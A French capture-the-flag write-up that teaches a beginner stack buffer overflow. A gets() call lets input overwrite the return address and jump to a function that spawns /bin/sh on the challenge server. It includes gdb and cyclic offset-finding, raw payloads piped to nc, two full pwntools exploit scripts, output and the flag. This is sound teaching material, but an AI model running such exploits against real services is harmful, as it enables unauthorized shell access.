Pour un rendu optimal, activez JavaScript

[GreenFlag] Pwn - Ça déborde ! (Facile)

 ·  ☕ 7 min de lecture  ·  ✍️ ValekoZ

Description

Un groupe d’activiste vous a contacté, ils ont trouvé un serveur appartenant à une entreprise qui pollue énormément.

À priori, c’est sur cette même machine qu’ils stockent leurs documents confidentiels. Récupérez en le contenu afin de dévoiler tout leurs secrets !

Vous pouvez vous connecter à un service disponible sur ce serveur à l’aide de la commande nc greenflag.valekoz.fr 8000.

Bonne chance 😉

Le programme tournant sur le serveur était également fourni.

Observations

Dans un premier temps, lançons le programme, et utilisons le normalement pour savoir de quoi il s’agit.

1
2
3
$ ./vuln
test
Wrong username

À priori, le programme nous demande un nom d’utilisateur, et nous indique dans notre cas que ce dernier n’est pas bon.

Du côté du code du challenge, avec un décompilateur (ghidra par exemple) on peut obtenir quelque chose qui se rapproche du code suivant:

1
2
3
4
5
6
7
8
int main(){
    char username[16];

    gets(username);
    printf("Wrong username ...\n");

    return 0;
}

Notre nom d’utilisateur n’est en fait même pas testé …

En revanche, on peut voir que le programme utilise la fonction gets

Extrait du man:

BUGS

Never use gets(). Because it is impossible to tell without knowing the data in advance how many characters gets() will read, and because gets() will continue to store characters past the end of the buffer, it is extremely dangerous to use.

La faille à exploiter est donc un buffer overflow. En effet, si on donne une entrée trop longue au programme, celui-ci crash:

1
2
3
4
$ ./vuln
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Wrong username ...
[1]    23088 segmentation fault (core dumped)  ./vuln

Maintenant qu’on connaît la vulnérabilité, il faut savoir comment l’utiliser. En continuant notre analyse du binaire, on trouve une fonction qui a l’air intéressante:

1
2
3
void secret_function(){
    system("/bin/sh");
}

On doit donc exploiter un buffer overflow, dans le but d’exécuter la fonction secret_function.

Exploitation « à la main »

Pour exploiter un buffer overflow, l’objectif est de réécrire des variables stockées sur la stack après le buffer.

Buffer Overflow

Une valeur importante pour le déroulement d’un programme est « l’adresse de retour », permettant au programme de reprendre son exécution où il en était après le retour d’une fonction.

Notre objectif va donc être de trouver combien de caractères on doit écrire avant d’arriver à l’adresse de retour pour pouvoir y mettre l’adresse de la secret_function. Ainsi, lorsque le programme va quitter la fonction main, il ne va pas retourner dans la fonction __libc_start_main (comportement “normal”) mais va retourner à l’adresse qu’on lui a donné.

Réécriture de l’adresse de retour

Pour chercher cet offset, on pourrait augmenter le nombre de caractères en entrée de 4 en 4 (car le programme est en 32 bits) jusqu’à ce que le programme crash (réécriture de l’adresse de retour).

Je vais vous présenter ici une méthode plus propre, utilisant la commande cyclic (disponible avec pwntools):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
$ gdb vuln
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from vuln...
(No debugging symbols found in vuln)
(gdb) r < <(cyclic 64)
Starting program: /home/lucas/hackintn-website/content/fr/writeups/ca_deborde/vuln < <(cyclic 64)
Wrong username ...

Program received signal SIGSEGV, Segmentation fault.
0x61616168 in ?? ()

La commande cyclic 64 génère une chaîne de caractère « cyclique » (aaaabaaacaaadaaa…). On donne cette entrée au programme (r < <(input command)), et on voit que le programme crash avec une EIP ayant pour valeur 0x61616168.

Cela signifie que la chaîne haaa a remplacé l’adresse de retour. On peut donc trouver le nombre de caractères à écrire avant de pouvoir réécrire l’adresse de retour:

1
2
$ cyclic -l 0x61616168
28

On pourrait donc générer une entrée remplaçant l’adresse de retour par l’adresse de notre fonction en faisant:

1
$ python2 -c 'print "A"*28 + "<address>"'

Attention: j’utilise python2 pour générer des payloads hexadécimaux avec un print, car python3 n’affiche pas toujours les bonnes valeurs pour les caractères non ASCII.

La dernière chose à faire est de récupérer l’adresse de la fonction qu’on veut exécuter:

1
2
$ readelf -s vuln | grep secret_function
    29: 080491a0    39 FUNC    GLOBAL DEFAULT   14 secret_function

On le fait ici à l’aide de la commande readelf, on pourrait également le faire directement depuis ghidra (ou autre logiciel de reverse-engineering).

On génère donc notre payload avec cette adresse, écrite en hexadécimal et en little-endian:

1
2
3
4
5
6
7
8
$ python2 -c 'print "A"*28 + "\xa0\x91\x04\x08"' > payload
$ cat payload - | nc greenflag.valekoz.fr 8000
ls
vuln
vuln.c
flag
cat flag
HTN{0092c656f61c0ddba1df4adbe698aa88ac721e3e2436dac0a8f706e00ce4585e}

On peut également le faire de cette manière:

1
2
3
(python2 -c 'print "A"*28 + "\xa0\x91\x04\x08"'; cat) | nc greenflag.valekoz.fr 8000
cat flag
HTN{0092c656f61c0ddba1df4adbe698aa88ac721e3e2436dac0a8f706e00ce4585e}

L’objectif est simplement de pouvoir passer l’entrée utilisateur au service nc après l’exécution du script (ou l’affichage du payload)

Exploitation avec pwntools

Écrire des exploits avec pwntools est beaucoup plus rapide, et permet de garder une trace des challenges après la fin du CTF. Voici deux scripts permettant de résoudre le challenge (le premier nécessitant de quand même trouver l’offset manuellement)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/bin/env python3

from pwn import *

HOST = "greenflag.valekoz.fr"
PORT = 8000

# On précise à pwntools que le programme est en 32 bits, on utilise "amd64" pour du 64 bits
context.arch = "i386"

# On utilise l'offset trouver précédement
offset = 28

# On charge le programme dans pwntools
elf = ELF("./vuln")

# On récupère l'adresse de `secret_function`
# secret_function = elf.functions.secret_function.address
secret_function = elf.symbols["secret_function"]

# On créé notre payload à partir de l'offset et l'adresse de la fonction
payload = fit({offset: secret_function})

# On créé une connexion vers le serveur
p = remote(HOST, PORT)

# On lui envoie le payload
p.sendline(payload)

# On créé une session intéractive pour pouvoir utiliser le shell
p.interactive()

N’hésitez pas à aller voir la documentation pour plus de détails sur l’utilité des différentes fonctions utilisées.

Et pour l’automatisation complète:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/bin/env python3

from pwn import *

HOST = "greenflag.valekoz.fr"
PORT = 8000

# On précise à pwntools que le programme est en 32 bits, on utilise "amd64" pour du 64 bits
context.arch = "i386"

# On charge le programme dans pwntools
elf = ELF("./vuln")

# On créé un payload cyclique pour trouver l'offset
payload = cyclic(64)

# On créé un processus à partir du programmme
p = elf.process()

# On sauvegarde le Process ID du processus
pid = p.proc.pid

# On lui envoie le payload en entrée
p.sendline(payload)

# On attend que le programme s'arrête (qu'il crash dans notre cas)
p.wait()

# On récupère le core dump du crash
    # Sur mon ordinateur, les core dumps se créent
    # dans le fichier `./core.{pid}`
    # Vous pouvez changer ce chemin en changeant
    # le contenu de `/proc/sys/kernel/core_pattern`
core = Corefile(f"./core.{pid}")

# On récupère l'EIP au moment du crash
eip = core.eip

# On récupère l'offset à partir de l'EIP
offset = cyclic_find(eip)

# On récupère l'adresse de `secret_function`
# secret_function = elf.functions.secret_function.address
secret_function = elf.symbols["secret_function"]

# On créé notre payload à partir de l'offset et l'adresse de la fonction
payload = fit({offset: secret_function})

# On créé une connexion vers le serveur
p = remote(HOST, PORT)

# On lui envoie le payload
p.sendline(payload)

# On créé une session intéractive pour pouvoir utiliser le shell
p.interactive()

Cet exploit reprend globalement les différentes étapes faites à la main dans la partie précédente.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
$ python exploit.py 
[*] '/home/lucas/hackintn-website/content/fr/writeups/ca_deborde/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Starting local process '/home/lucas/GreenFlag/ca_deborde/vuln': pid 7078
[*] Process '/home/lucas/GreenFlag/ca_deborde/vuln' stopped with exit code -11 (SIGSEGV) (pid 7078)
[+] Parsing corefile...: Done
[*] '/home/lucas/GreenFlag/ca_deborde/core.7078'
    Arch:      i386-32-little
    EIP:       0x61616168
    ESP:       0xffeba6b0
    Exe:       '/home/lucas/GreenFlag/ca_deborde/vuln' (0x8049000)
    Fault:     0x61616168
[+] Opening connection to greenflag.valekoz.fr on port 8000: Done
[*] Switching to interactive mode
$ cat flag
HTN{0092c656f61c0ddba1df4adbe698aa88ac721e3e2436dac0a8f706e00ce4585e}

Conclusion

Ce challenge me semble être une bonne introduction aux buffer-overflows.

Dans les challenges suivant, on aborde certaines sécurités permettant de contrer ce genre d’exploitation, ainsi que des techniques permettant de contourner ces sécurités.

Partagez

Hackin'TN
RÉDIGÉ PAR
ValekoZ
Président Hackin'TN 2021